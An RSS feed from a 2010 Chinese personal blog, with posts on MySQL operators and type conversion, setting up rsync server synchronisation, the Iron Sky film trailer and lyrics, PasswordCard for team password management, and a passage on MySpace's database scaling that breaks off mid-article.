<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
	<channel>
		<title>百科全书 Index's Blog</title>
		<link>http://www.deluei.com/</link>
		<description>我亲爱的朋友，欢迎您来到我的小站！</description>
		<copyright>Powered by SaBlog-X. Copyright (C) 2003-2010.</copyright>
		<generator>SaBlog-X Version 2.0 Build 20100301</generator>
		<lastBuildDate>Sun, 05 Sep 2010 13:19:39 +0000</lastBuildDate>
		<ttl>30</ttl>
		<item>
			<link>http://www.deluei.com/?action=show&amp;id=310</link>
			<guid>http://www.deluei.com/?action=show&amp;id=310</guid>
			<title>MYSQL教程:表达式操作符和数据类型转换</title>
			<author>Admin@DelUEi.Com(Admin)</author>
			<description><![CDATA[百科全书 Index's Blog ( http://www.deluei.com/ ) : <h3>
	1.表达式操作符&nbsp;</h3>
<div class="table">
	<p class="title">
		<strong>Table&nbsp;1 算术操作符</strong></p>
	<table border="1" summary="算术操作符">
		<colgroup>
			<col />
			<col />
			<col />
		</colgroup>
		<thead>
			<tr>
				<th>
					操作符</th>
				<th>
					语法</th>
				<th>
					含义</th>
			</tr>
		</thead>
		<tbody>
			<tr>
				<td>
					+</td>
				<td>
					a + b</td>
				<td>
					相加</td>
			</tr>
			<tr>
				<td>
					-</td>
				<td>
					a - b</td>
				<td>
					相减</td>
			</tr>
			<tr>
				<td>
					-</td>
				<td>
					- a</td>
				<td>
					求负</td>
			</tr>
			<tr>
				<td>
					*</td>
				<td>
					a * b</td>
				<td>
					乘法</td>
			</tr>
			<tr>
				<td>
					/</td>
				<td>
					a / b</td>
				<td>
					除法</td>
			</tr>
			<tr>
				<td>
					%</td>
				<td>
					a % b</td>
				<td>
					求余</td>
			</tr>
		</tbody>
	</table>
</div>
<div class="table">
	<p class="title">
		<strong>Table 2. 逻辑操作符</strong></p>
	<table border="1" summary="逻辑操作符">
		<colgroup>
			<col />
			<col />
			<col />
		</colgroup>
		<thead>
			<tr>
				<th>
					操作符</th>
				<th>
					语法</th>
				<th>
					含义</th>
			</tr>
		</thead>
		<tbody>
			<tr>
				<td>
					AND 或 &amp;&amp;</td>
				<td>
					a AND b 或 a &amp;&amp; b</td>
				<td>
					逻辑与，若两个操作数同时为真，则为真</td>
			</tr>
			<tr>
				<td>
					OR 或 ||</td>
				<td>
					a OR b 或 a || b</td>
				<td>
					逻辑或，只要有一个操作数为真，则为真</td>
			</tr>
			<tr>
				<td>
					XOR</td>
				<td>
					a XOR b</td>
				<td>
					逻辑异或，若有且仅有一个操作数为真，则为真</td>
			</tr>
			<tr>
				<td>
					NOT 或 ！</td>
				<td>
					NOT a 或 !a</td>
				<td>
					逻辑非，若操作数为假，则为真</td>
			</tr>
		</tbody>
	</table>
</div>
<div class="table">
	<p class="title">
		<strong>Table 3. 位操作符</strong></p>
	<table border="1" summary="位操作符">
		<colgroup>
			<col />
			<col />
			<col />
		</colgroup>
		<thead>
			<tr>
				<th>
					操作符</th>
				<th>
					语法</th>
				<th>
					含义</th>
			</tr>
		</thead>
		<tbody>
			<tr>
				<td>
					&amp;</td>
				<td>
					a &amp; b</td>
				<td>
					按位与，若操作数同位同为1,则该位为1</td>
			</tr>
			<tr>
				<td>
					|</td>
				<td>
					a | b</td>
				<td>
					按位或，若操作数同位有一位为1,则该位为1</td>
			</tr>
			<tr>
				<td>
					^</td>
				<td>
					a ^ b</td>
				<td>
					按拉异或，若操作数同一位分别为1和0,则该位为1</td>
			</tr>
			<tr>
				<td>
					&lt;&lt;</td>
				<td>
					a &lt;&lt; b</td>
				<td>
					把a中的各个位左移b个位置</td>
			</tr>
			<tr>
				<td>
					&gt;&gt;</td>
				<td>
					a &gt;&gt; b</td>
				<td>
					把a中的各个位右移b个位置</td>
			</tr>
		</tbody>
	</table>
</div>
<div class="table">
	<p class="title">
		<strong>Table 4. 比较操作符</strong></p>
	<table border="1" summary="比较操作符">
		<colgroup>
			<col />
			<col />
			<col />
		</colgroup>
		<thead>
			<tr>
				<th>
					操作符</th>
				<th>
					语法</th>
				<th>
					含义</th>
			</tr>
		</thead>
		<tbody>
			<tr>
				<td>
					=</td>
				<td>
					a = b</td>
				<td>
					若两个操作数相等，则为真</td>
			</tr>
			<tr>
				<td>
					&lt;=&gt;</td>
				<td>
					a &lt;=&gt; b</td>
				<td>
					若两个操作数相等，则为真，可用于NULL值比较</td>
			</tr>
			<tr>
				<td>
					!= 或 &lt;&gt;</td>
				<td>
					a != b 或 a &lt;&gt; b</td>
				<td>
					若两个操用数不等，则为真</td>
			</tr>
			<tr>
				<td>
					&lt;</td>
				<td>
					a &lt; b</td>
				<td>
					若a小于b，则为真</td>
			</tr>
			<tr>
				<td>
					&lt;=</td>
				<td>
					a &lt;= b</td>
				<td>
					若a小于或等于b，则为真</td>
			</tr>
			<tr>
				<td>
					&gt;</td>
				<td>
					a &gt; b</td>
				<td>
					若a大于b，则为真</td>
			</tr>
			<tr>
				<td>
					&gt;=</td>
				<td>
					a &gt; b</td>
				<td>
					若a大于或等于b，则为真</td>
			</tr>
			<tr>
				<td>
					IN</td>
				<td>
					a IN (b1,b2,...)</td>
				<td>
					若a等于b1,b2,...中的某一个，则为真</td>
			</tr>
			<tr>
				<td>
					BETWEEN</td>
				<td>
					a BETWEEN b AND c</td>
				<td>
					若a在b和c之间(包括b和c)，则为真</td>
			</tr>
			<tr>
				<td>
					NOT BETWEEN</td>
				<td>
					a NOT BETWEEN b AND c</td>
				<td>
					若a不在b和c之间(包括b和c)，则为真</td>
			</tr>
			<tr>
				<td>
					LIKE</td>
				<td>
					a LIKE b</td>
				<td>
					SQL模式匹配，若a匹配b，则为真</td>
			</tr>
			<tr>
				<td>
					NOT LIKE</td>
				<td>
					a NOT LIKE b</td>
				<td>
					SQL模式匹配，若a不匹配b，则为真</td>
			</tr>
			<tr>
				<td>
					REGEXP</td>
				<td>
					a REGEXP b</td>
				<td>
					正则表达式匹配，若a匹配b，则为真</td>
			</tr>
			<tr>
				<td>
					NOT REGEXP</td>
				<td>
					a NOT REGEXP b</td>
				<td>
					正则表达式匹配，若a不匹配b，则为真</td>
			</tr>
			<tr>
				<td>
					IS NULL</td>
				<td>
					a IS NULL</td>
				<td>
					若a为NULL，则为真</td>
			</tr>
			<tr>
				<td>
					IS NOT NULL</td>
				<td>
					a IS NOT NULL</td>
				<td>
					若a不为NULL，则为真</td>
			</tr>
		</tbody>
	</table>
</div>
<div class="note" style="margin-left: 0.5in; margin-right: 0.5in">
	<table border="0" summary="Note">
		<tbody>
			<tr>
				<td align="middle" rowspan="2" valign="top" width="25">
					&nbsp;</td>
				<th align="left">
					&nbsp;</th>
			</tr>
			<tr>
				<td align="left" colspan="2" valign="top">
					LIKE模式匹配中的&ldquo;%&rdquo;匹配任意个字符，&ldquo;_&rdquo;匹配一个字符。匹配不区分大小写字符。</td>
			</tr>
		</tbody>
	</table>
</div>
<div class="table">
	<p class="title">
		<strong>Table 5. 操作符优先级(由高至低排列)</strong></p>
	<table border="1" summary="操作符优先级(由高至低排列)">
		<colgroup>
			<col />
		</colgroup>
		<thead>
			<tr>
				<th>
					操作符</th>
			</tr>
		</thead>
		<tbody>
			<tr>
				<td>
					BINARY，COLLATE</td>
			</tr>
			<tr>
				<td>
					NOT、！</td>
			</tr>
			<tr>
				<td>
					^</td>
			</tr>
			<tr>
				<td>
					XOR</td>
			</tr>
			<tr>
				<td>
					-(一元求负操作符)、~(一元取反操作符)</td>
			</tr>
			<tr>
				<td>
					*、/、%</td>
			</tr>
			<tr>
				<td>
					+、-</td>
			</tr>
			<tr>
				<td>
					&lt;&lt;、&gt;&gt;</td>
			</tr>
			<tr>
				<td>
					&amp;</td>
			</tr>
			<tr>
				<td>
					|</td>
			</tr>
			<tr>
				<td>
					&lt;、&lt;=、=、&lt;=&gt;、!=、&lt;&gt;、&gt;=、&gt;、IN、IS、LIKE、REGEXP、RLIKE</td>
			</tr>
			<tr>
				<td>
					BETWEEN、CASE、WHEN、THEN、ELSE</td>
			</tr>
			<tr>
				<td>
					AND、&amp;&amp;</td>
			</tr>
			<tr>
				<td>
					OR、||</td>
			</tr>
			<tr>
				<td>
					:=</td>
			</tr>
		</tbody>
	</table>
</div>
<div class="sect1" lang="en">
	<div class="titlepage">
		<div>
			<div>
				<h2 class="title" style="clear: both">
					2. 类型转换</h2>
			</div>
		</div>
	</div>
	<p>
		在MySQL的表达式中，如果某个数据值的类型与上下文所要求的类型不相符，MySQL则会根据将要进行的操作自动地对数据值进行类型转换。如：</p>
	<pre class="screen">
	1 + &#39;2&#39;      会转换成1 + 2 = 3
1+ &#39;abc&#39;     会转换成1 + 0 = 1 由于abc不能转换成任何的值，所以默认为0
</pre>
	<p>
		MySQL会根据表达式上下文的要求，把字符串和数值自动转换为日期和时间值</p>
	<p>
		对于超范围或非法的值，MySQL也会进行转换，但转换出来的结果是错误的。出现该情况时，MySQL会提示警告信息，我们可捕获该信息以进行相应的处理。</p>
</div>
]]></description>
			<link>http://www.deluei.com/?action=show&amp;id=310</link>
			<category domain="http://www.deluei.com/?cid=5">见招拆招显武技</category>
			<category domain="http://www.deluei.com/?action=article&amp;tag=mysql">mysql</category>
			<pubDate>Sat, 17 Jul 2010 00:23:31 +0000</pubDate>
		</item>
		<item>
			<link>http://www.deluei.com/?action=show&amp;id=309</link>
			<guid>http://www.deluei.com/?action=show&amp;id=309</guid>
			<title>如何保持Linux服务器间的文件同步</title>
			<author>Admin@DelUEi.Com(Admin)</author>
			<description><![CDATA[百科全书 Index's Blog ( http://www.deluei.com/ ) : <p>
	&nbsp;&nbsp;&nbsp; 服务器之间常常要保持些文件或目录的一致，比如一些大的软件下载网站，它们通常使用多台服务器来提供下载服务。当一台服务器上的文件更新后，其它的服务器也需要更新，而且，在更新的时候应该是只对新增或是修改过的文件进行更新，否则会造成网络带宽和时间的浪费。</p>
<p>
	&nbsp;&nbsp;&nbsp; rsync就是能有效的保持文件及目录的一致的优秀软件，rsync，remote synchronize</p>
<div>
	　　顾名思意就知道它是一款实现远程同步功能的软件，它在同步文件的同时，可以保持原来文件的权限、时间、软硬链接等附加信息，而且可以通过ssh方式来传输文件，这样其保密性也非常好，另外它还是免费的软件。rysnc的官方网站：<a href="http://rsync.samba.org/">http://rsync.samba.org/</a>，可以从上面得到最新的版本。当然，因为rsync是一款如此有用的软件，所以很多Linux的发行版本都将它收录在内了。你的Linux里并没有安装rsync，你可以按以下的安法自行安装：</div>
<div>
	　　一、安装过程</div>
<div>
	　　1.下载rsync</div>
<div>
	　　目前(2003年9月)最新的rsync版本是2.5.6，从rysnc的官方网站上下载一个回来：</div>
<div>
	　　# wget <a href="http://ftp.samba.org/ftp/rsync/rsync-2.5.6.tar.gz">http://ftp.samba.org/ftp/rsync/rsync-2.5.6.tar.gz</a></div>
<div>
	　　2.解压</div>
<div>
	　　# tar -xzpvf rsync-2.5.6.tar.gz<br />
	&nbsp;<br />
	　　3.编译安装</div>
<div>
	　　# cd rsync-2.5.6/<br />
	　　# ./configure --prefix=/usr/local/rsync<br />
	　　# make<br />
	　　# make install</div>
<div>
	　　以上过程没有出现的话就安装好了，现在就有rsync命令可以用了，rsync命令放在/usr/local/rsync/bin。用rsync命令可以去运行有rsync服务的服务器上抓取资料。</div>
<div>
	　　如果要把当前的机器变成一台rsync服务器的话，就需要继续进行一些配置了。</div>
<div>
	　　二、配置rsync服务</div>
<div>
	　　配置一个简单的rsync服务并不复杂，你需要修改或建立一些配置文件。</div>
<div>
	　　1.rsyncd.conf</div>
<div>
	　　# vi /etc/rsyncd.motd</div>
<div>
	　　rsyncd.con是rsync服务的主要配置文件，它控制rsync服务的各种属性，下面给出一个rsyncd.conf文件的例子：</div>
<div>
	　　#先定义整体变量<br />
	　　secrets file = /etc/rsyncd.secrets<br />
	　　motd file = /etc/rsyncd.motd<br />
	　　read only = yes<br />
	　　list = yes<br />
	　　uid = nobody<br />
	　　gid = nobody<br />
	　　hosts allow = 192.168.100.90&nbsp;&nbsp;&nbsp;&nbsp; #哪些电脑可以访问rsync服务<br />
	　　hosts deny = 192.168.100.0/24&nbsp;&nbsp; #哪些电脑不可以访问rsync服务<br />
	　　max connections = 2<br />
	　　log file = /var/log/rsyncd.log<br />
	　　pid file = /var/run/rsyncd.pid<br />
	　　lock file = /var/run/rsync.lock</div>
<div>
	　　#再定义要rsync目录<br />
	　　[terry]<br />
	　　comment = Terry &#39;s directory from 192.168.100.21<br />
	　　path = /home/terry<br />
	　　auth users = terry,rsync</div>
<div>
	　　[test]<br />
	　　comment = test rsync<br />
	　　path = /home/test</div>
<div>
	　　在上面的配置文件中，限定了192.168.100.0/24这个子网中，只有192.168.100.90的机器可以来访问这台rsync服务器的rsync服务。配置文件的后面部分定义了两个rsync的目录，terry目录是只有知道terry、rsync两个账号的人才能使用的，而text目录是无需账号就可以访问的。rsync在定义目录时还提供了一些其它选项，可以作更严格的控制。</div>
<div>
	　　2.rsyncd.secrets</div>
<div>
	　　# vi /etc/rsyncd.secrets</div>
<div>
	　　rsyncd.secrets是存储rsync服务的用户名和密码的，它是一个明文的文本文件，下面给出一个rsyncd.secrets文件的例子：</div>
<div>
	　　terry:12345<br />
	　　rsync:abcde</div>
<div>
	　　因为rsyncd.secrets存储了rsync服务的用户名和密码，所以非常重要，因此文件的属性必须设为600，只有所有者可以读写：</div>
<div>
	　　# chmod 600 /etc/rsyncd.secrets</div>
<div>
	　　3.rsyncd.motd</div>
<div>
	　　# vi /etc/rsyncd.motd</div>
<div>
	　　rsyncd.motd记录了rsync服务的欢迎信息，你可以在其中输入任何文本信息，如：</div>
<div>
	　　Welcome to use the rsync services!</div>
<div>
	　　4.services</div>
<div>
	　　# vi /etc/services</div>
<div>
	　　services并不是rsync的配置文件，这一步也可以不做。而修改了services文件的好处就在于系统知道873端口对就的服务名为rsync。修改services的方法就是确保services中有如下两行，没有的话就自行加入：</div>
<div>
	　　rsync　　873/tcp　　# rsync<br />
	　　rsync　　873/udp　　# rsync</div>
<div>
	　　5./etc/xinetd.d/rsync</div>
<div>
	　　# vi /etc/xinetd.d/rsync</div>
<div>
	　　建立一个名为/etc/xinetd.d/rsync文件，输入以下内容：</div>
<div>
	　　service rsync<br />
	　　{<br />
	　　　　disable = no<br />
	　　　　socket_type　　= stream<br />
	　　　　wait　　　　　 = no<br />
	　　　　user　　　　　 = root<br />
	　　　　server　　　　 = /usr/local/rsync/bin/rsync<br />
	　　　　server_args　　= --daemon<br />
	　　　　log_on_failure += USERID<br />
	　　}</div>
<div>
	　　保存后，就可以运行rsync服务了。输入以下命令：</div>
<div>
	　　# /etc/rc.d/init.d/xinetd reload</div>
<div>
	　　这样rsync服务就在这台机器上(192.168.100.21)运行起来了，接下来就是如何来使用它了。</div>
<div>
	　　三、rsync命令的用法</div>
<div>
	　　在配置完rsync服务器后，就可以从客户端发出rsync命令来实现各种同步的操作。rsync有很多功能选项，下面就对介绍一下常用的选项：</div>
<div>
	　　rsync的命令格式可以为：</div>
<div>
	　　1. rsync [OPTION]... SRC [SRC]... [USER@]HOST:DEST<br />
	　　2. rsync [OPTION]... [USER@]HOST:SRC DEST<br />
	　　3. rsync [OPTION]... SRC [SRC]... DEST<br />
	　　4. rsync [OPTION]... [USER@]HOST::SRC [DEST]<br />
	　　5. rsync [OPTION]... SRC [SRC]... [USER@]HOST::DEST<br />
	　　6. rsync [OPTION]... rsync://[USER@]HOST[:PORT]/SRC [DEST]</div>
<div>
	　　rsync有六种不同的工作模式：</div>
<div>
	　　1. 拷贝本地文件；当SRC和DES路径信息都不包含有单个冒号&quot;:&quot;分隔符时就启动这种工作模式。</div>
<div>
	　　2.使用一个远程shell程序（如rsh、ssh）来实现将本地机器的内容拷贝到远程机器。当DST路径地址包含单个冒号&quot;:&quot;分隔符时启动该模式。</div>
<div>
	　　3.使用一个远程shell程序（如rsh、ssh）来实现将远程机器的内容拷贝到本地机器。当SRC地址路径包含单个冒号&quot;:&quot;分隔符时启动该模式。</div>
<div>
	　　4. 从远程rsync服务器中拷贝文件到本地机。当SRC路径信息包含&quot;::&quot;分隔符时启动该模式。</div>
<div>
	　　5. 从本地机器拷贝文件到远程rsync服务器中。当DST路径信息包含&quot;::&quot;分隔符时启动该模式。</div>
<div>
	　　6. 列远程机的文件列表。这类似于rsync传输，不过只要在命令中省略掉本地机信息即可。</div>
<div>
	　　下面以实例来说明：</div>
<div>
	　　# rsync -vazu -progress&nbsp; <a href="mailto:terry@192.168.100.21:/terry/">terry@192.168.100.21:/terry/</a>&nbsp; /home</div>
<div>
	　　v详细提示<br />
	　　a以archive模式操作，复制目录、符号连接<br />
	　　z压缩</div>
<div>
	　　u只进行更新，防止本地新文件被重写，注意两者机器的时钟的同时</div>
<div>
	　　-progress指显示</div>
<div>
	　　以上命令是保持客户机192.168.100.90上的/home/terry目录和rsync服务器上的terry目录同步。该命令执行同步之前会要求你输入terry账号的密码，这个账号是我们前面在rsyncd.secrets文件中定义的。如果想将这条命令写到一个脚本中，然后定时执行它的话，可以使用--password-file选项，具体命令如下：</div>
<div>
	　　# rsync -vazu -progress --password-file=/etc/rsync.secret<br />
	　　<a href="mailto:terry@192.168.100.21:/terry/">terry@192.168.100.21:/terry/</a>&nbsp; /home</div>
<div>
	　　要使用--password-file选项，就得先建立一个存放密码的文件，这里指定为/etc/rsync.secret。其内容很简单，如下：</div>
<div>
	　　terry:12345</div>
<div>
	　　同样要修改文件属性如下：</div>
<div>
	　　# chmod 600 /etc/rsyncd.secrets</div>
<div>
	　　四、利用rsync保持Linux服务器间的文件同步实例</div>
<div>
	　　现在假设有两台Linux服务器A(192.168.100.21)和B(192.168.100.90)，服务器A中的/home/terry和服务器B中的/home/terry这两个目录需要保持同步，也就是当服务器A中文件发生改变后，服务器B中的文件也要对应去改变。</div>
<div>
	　　我们按上面的方法，在服务器A上安装rsync，并将其配置为一台rsync服务器，并将/home/terry目录配置成rsync共享出的目录。然后在服务器B上安装rsync，因为B只做客户端，所以无需配置。然后在服务器B，建立以下脚本：</div>
<div>
	　　#!/bin/bash<br />
	　　/usr/loca/rsync/bin/rsync -vazu -progress&nbsp; --delete<br />
	　　--password-file=/etc/rsync.secret <a href="mailto:terry@192.168.100.21:/terry/">terry@192.168.100.21:/terry/</a>&nbsp; /home</div>
<div>
	　　将这个脚本保存为AtoB.sh，并加上可执行属性：</div>
<div>
	　　# chmod 755 /root/AtoB.sh</div>
<div>
	　　然后，通过crontab设定，让这个脚本每30分钟运行一次。执行命令：</div>
<div>
	　　# crontab -e</div>
<div>
	　　输入以下一行：</div>
<div>
	　　0,30 * * * *&nbsp; /root/AtoB.sh</div>
<div>
	　　保存退出，这样服务器B每个小时的0分和30分时都会自动运行一次AtoB.sh，AtoB.sh是负责保持服务器B和服务器A同步的。这样就保证了服务器A的所有更新在30钟后，服务器B也一样取得了和服务器A一样的最新的资料。</div>
<div>
	　　五、其它应用</div>
<div>
	　　rsync除了同步文件及目录之外，还可以利用它来实现对远程网站的远程备份。如果再结合脚本和Crontab就能实现定时自动远程备份。其可以实现与商业化的备份和镜象产品的类似效果，但完全免费。<br />
	&nbsp;</div>
]]></description>
			<link>http://www.deluei.com/?action=show&amp;id=309</link>
			<category domain="http://www.deluei.com/?cid=3">斗转星移集众艺</category>
			<category domain="http://www.deluei.com/?action=article&amp;tag=sync">sync</category>
			<category domain="http://www.deluei.com/?action=article&amp;tag=kinux">kinux</category>
			<category domain="http://www.deluei.com/?action=article&amp;tag=同步">同步</category>
			<pubDate>Tue, 13 Jul 2010 01:37:52 +0000</pubDate>
		</item>
		<item>
			<link>http://www.deluei.com/?action=show&amp;id=308</link>
			<guid>http://www.deluei.com/?action=show&amp;id=308</guid>
			<title>钢铁苍穹 Iron Sky 预告</title>
			<author>Admin@DelUEi.Com(Admin)</author>
			<description><![CDATA[百科全书 Index's Blog ( http://www.deluei.com/ ) : <p style="text-align: center">
	<div class="attach"><a href="http://www.deluei.com/attachment.php?id=84" class="highslide" onclick="return hs.expand(this)"><img src="http://www.deluei.com/attachments/date_201006/thumb_4901154fd1a3e2fc23e7db317cd4e0eb.jpg" border="0" alt="20090606_155511_2.jpg&#13;&#13;大小: 60.48 K&#13;尺寸:  x &#13;浏览: 17 次&#13;点击打开新窗口浏览全图" width="500" height="213" /></a></div></p>
<p>
	&nbsp;&nbsp;&nbsp; 《钢铁苍穹》自2006年就开始前期制作，不过最初仅仅是季莫&middot;沃伦索拉的一个实验性电影，拍摄时大量使用绿幕技术，并在后期进行CG制作，就是之前部分已完成片段的效果，季莫&middot;沃伦索拉将其放到网上接受网友及影迷检验，结果反响巨大，引起广泛关注；而在去年戛纳电影节上宣布将由德国和芬兰两国合拍，目前的进展是加拿大也已参与投资，这样，资金问题基本得以解决之后，影片将有望在9月完成前期拍摄。</p>
<p style="text-align: center">
	去年的预告片</p>
<p style="text-align: center">
	<embed flashvars="vid=090515135025389377" height="410" pluginspage="http://www.macromedia.com/go/getflashplayer" quality="high" src="http://player.youku.com/player.php/sid/XMTQzMzcwODIw/v.swf" type="application/x-shockwave-flash" width="480" wmode="transparent"></embed></p>
<p style="text-align: center">
	今年的预告片</p>
<p style="text-align: center">
	<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" height="410" width="480"><param name="quality" value="high" /><param name="movie" value="http://static1.mtime.cn/static/flash/outplayer.swf?vid=25456&amp;mid=105833&amp;refurl=%2Fmovie%2F105833%2Ftrailer%2F25456.html" /><embed height="410" pluginspage="http://www.macromedia.com/go/getflashplayer" quality="high" src="http://static1.mtime.cn/static/flash/outplayer.swf?vid=25456&amp;mid=105833&amp;refurl=%2Fmovie%2F105833%2Ftrailer%2F25456.html" type="application/x-shockwave-flash" width="480"></embed></object></p>
<p>
	主题曲：under the iron sky</p>
<p>
	歌词：</p>
<p>
	Iron Sky<br />
	Lyrics: Joonas Naskali</p>
<div>
	Now that you have gone away<br />
	I feel so cold, why did I stay?<br />
	Remember, I&#39;ll remember your face so pale<br />
	when you left me on that gloomy day...</div>
<div>
	Time goes by, memories are mine<br />
	Still waiting for the moment I&#39;ll see you again<br />
	Times are changing, memories are fading<br />
	I&#39;m waiting for another chance&nbsp;<br />
	to tell you belong to me</div>
<div>
	One day<br />
	I know we&#39;ll meet again<br />
	Under the Iron Sky.</div>
<div>
	&nbsp;</div>
<div>
	如今，你早已不在，<br />
	凄冷的我却为何等待？<br />
	记忆里，你离去时脸庞的苍白，<br />
	和那日绝望的阴霾。<br />
	时光不再，记忆深埋，<br />
	我仍旧满怀再见你的期待；<br />
	时光推移，记忆铭记；<br />
	我静候重逢的到来，<br />
	倾诉我对你那热诚的挚爱。<br />
	那天，<br />
	我将把重逢迎来，<br />
	就在这钢铁苍穹之下。</div>
]]></description>
			<link>http://www.deluei.com/?action=show&amp;id=308</link>
			<category domain="http://www.deluei.com/?cid=4">新闻旧事造江湖</category>
			<category domain="http://www.deluei.com/?action=article&amp;tag=电影">电影</category>
			<pubDate>Wed, 30 Jun 2010 05:00:45 +0000</pubDate>
		</item>
		<item>
			<link>http://www.deluei.com/?action=show&amp;id=307</link>
			<guid>http://www.deluei.com/?action=show&amp;id=307</guid>
			<title>PasswordCard In Team Work</title>
			<author>Admin@DelUEi.Com(Admin)</author>
			<description><![CDATA[百科全书 Index's Blog ( http://www.deluei.com/ ) : <p>
	PasswordCard是一个信用卡大小的卡片，把它留在您的钱包里，您就可以轻松的为您的所有网站帐号选择非常安全的密码，而不必记住它们！您只需要随身携带它们，即使你的钱包被偷，小偷仍然不知道您的真实密码。</p>
<p>
	<div class="attach"><a href="http://www.deluei.com/attachment.php?id=83" class="highslide" onclick="return hs.expand(this)"><img src="http://www.deluei.com/attachments/date_201006/thumb_b6be76ba113e7fd7dc6180ce845ad234.png" border="0" alt="passwordcard.png&#13;&#13;大小: 78.2 K&#13;尺寸:  x &#13;浏览: 13 次&#13;点击打开新窗口浏览全图" width="500" height="316" /></a></div></p>
<p>
	PasswordCard生成地址：<a href="http://zh.passwordcard.org/" target="_blank"><font color="#21759b">https://zh.passwordcard.org</font></a> （已翻译为了中文）</p>
<p>
	PasswordCard在团队工作中，相比密码管理软件和人工管理，有很大的优势。让我们想想一下在一个系统运维团队中，我们需要管理多个系统帐号的密码和授权。只有我们授权的用户，才可以得到密码。这样问题来了，在这样一个团队里，我们如何保证密码的安全呢？</p>
<p>
	我已知的方法有：</p>
<ol>
	<li>
		在一个被保护的页面（需要登录认证）保存密码列表</li>
	<li>
		使用几个内定密码，不保存密码列表，定期更换</li>
	<li>
		将密码信息文件，储蓄在具有密码保护的储蓄设备里（如 加密USB设备）</li>
	<li>
		不使用密码认证，使用别的方式（SSH key的方式登录）</li>
	<li>
		使用LDAP服务器认证登录，集中管理授权信息</li>
</ol>
<p>
	在这里，我就不比较几种方式的优劣，下面就介绍使用PasswordCard可以带来哪些好处。在一个团队中，我们可以使用一张卡片，然后在团队安全会议中，告知方向规则，方向查找规则，是密码的核心，这些都不写在任何地方，并且也可以定期更改。然后使用一个密码列表来保存密码。这里的密码，已经通过PasswordCard&ldquo;加密&rdquo;过，通常呈现为这样的形式：</p>
<p>
	Server IP: 192.168.1.2<br />
	User Name: root<br />
	Password: Red smile</p>
<p>
	为了获得更高的安全，我们可以把这个密码列表采用第一种方式保存（在一个被保护的页面（需要登录认证）保存密码列表） ，这样，攻击者就算获得了访问密码页面的权限，也看不懂&ldquo;Red smile&rdquo;是什么意思。</p>
<p>
	如果攻击者同时拿到了PasswordCard，又破解了密码页面，找到了&ldquo;Red smile&rdquo;的对应码（在上图中 &ldquo;Red smile&rdquo; 对应的是数字5），也很难猜解到我们的读取规则。前提是，读取规则不是简单的从左向右或者从上到下的简单规则。</p>
<p>
	在团队中，询问密码是一件很尴尬的事情，我们不能在公开场合念出密码，这样有可能会被别有用心的人听到。使用PasswordCard也可以避免这样的情况。</p>
<p>
	PasswordCard是一种简单，高效的团队合作密码保护机制，它的作者也许没有意识到它在团队中的作用，而只是用作个人的密码保护工具。PasswordCard相比实施度复杂的LDAP方式和SSH key方式，是比较简单，成本低，高收益的方式。</p>
<p>
	但是，其实如果知道了&ldquo;Red smile&rdquo;，并拿到密码卡片，其实加大了对密码穷举成功的危险，例如密码长度是6，攻击者可以围绕数字5（&ldquo;Red smile&rdquo;）划一个6 x 6矩阵，如果你的密码提取规则没有超过这个范围，那么使用这个矩阵中的字符来穷举，需要的的最大尝试次数就减少到了36的6次方，相比盲目穷举（字母[大小写]+数字+符号），成功率就提高了很多。</p>
]]></description>
			<link>http://www.deluei.com/?action=show&amp;id=307</link>
			<category domain="http://www.deluei.com/?cid=1">江湖足迹一点点</category>
			<category domain="http://www.deluei.com/?action=article&amp;tag=passwordcard">passwordcard</category>
			<pubDate>Wed, 23 Jun 2010 17:12:07 +0000</pubDate>
		</item>
		<item>
			<link>http://www.deluei.com/?action=show&amp;id=306</link>
			<guid>http://www.deluei.com/?action=show&amp;id=306</guid>
			<title>通过了解MySpace的六次重构经历,来认识分布式系统到底该如何创建</title>
			<author>Admin@DelUEi.Com(Admin)</author>
			<description><![CDATA[百科全书 Index's Blog ( http://www.deluei.com/ ) : <p>
	<span style="color: #800000">在每个里程碑，站点负担都会超过底层系统部分组件的最大载荷，特别是数据库和存储系统。接着，功能出现问题，用户失声尖叫。最后，技术团队必须为此修订系统策略。</span></p>
<p style="color: #800000">
	虽然自2005年早期，站点账户数超过7百万后，系统架构到目前为止保持了相对稳定，但MySpace仍然在为SQL Server支持的同时连接数等方面继续攻坚，Benedetto说，&quot;我们已经尽可能把事情做到最好&quot;。</p>
<p style="color: #800000">
	里程碑一：50万账户</p>
<p style="color: #800000">
	按Benedetto 的说法，MySpace最初的系统很小，只有两台Web服务器和一个数据库服务器。那时使用的是Dell双CPU、4G内存的系统。</p>
<p style="color: #800000">
	单个数据库就意味着所有数据都存储在一个地方，再由两台Web服务器分担处理用户请求的工作量。但就像MySpace后来的几次底层系统修订时的情况一样，三服务器架构很快不堪重负。此后一个时期内，MySpace基本是通过添置更多Web服务器来对付用户暴增问题的。</p>
<p style="color: #800000">
	但到在2004年早期，MySpace用户数增长到50万后，数据库服务器也已开始汗流浃背。</p>
<p style="color: #800000">
	但和Web服务器不同，增加数据库可没那么简单。如果一个站点由多个数据库支持，设计者必须考虑的是，如何在保证数据一致性的前提下，让多个数据库分担压力。</p>
<p style="color: #800000">
	在第二代架构中，MySpace运行在3个SQL Server数据库服务器上&mdash;&mdash;一个为主，所有的新数据都向它提交，然后由它复制到其他两个；另两个全力向用户供给数据，用以在博客和个人资料栏显示。这种方式在一段时间内效果很好&mdash;&mdash;只要增加数据库服务器，加大硬盘，就可以应对用户数和访问量的增加。</p>
<p style="color: #800000">
	里程碑二：1-2百万账户</p>
<p style="color: #800000">
	MySpace注册数到达1百万至2百万区间后，数据库服务器开始受制于I/O容量&mdash;&mdash;即它们存取数据的速度。而当时才是2004年中，距离上次数据库系统调整不过数月。用户的提交请求被阻塞，就像千人乐迷要挤进只能容纳几百人的夜总会，站点开始遭遇&quot;主要矛盾&quot;，Benedetto说，这意味着MySpace永远都会轻度落后于用户需求。</p>
<p style="color: #800000">
	&quot;有人花5分钟都无法完成留言，因此用户总是抱怨说网站已经完蛋了。&quot;他补充道。</p>
<p style="color: #800000">
	这一次的数据库架构按照垂直分割模式设计，不同的数据库服务于站点的不同功能，如登录、用户资料和博客。于是，站点的扩展性问题看似又可以告一段落了，可以歇一阵子。</p>
<p style="color: #800000">
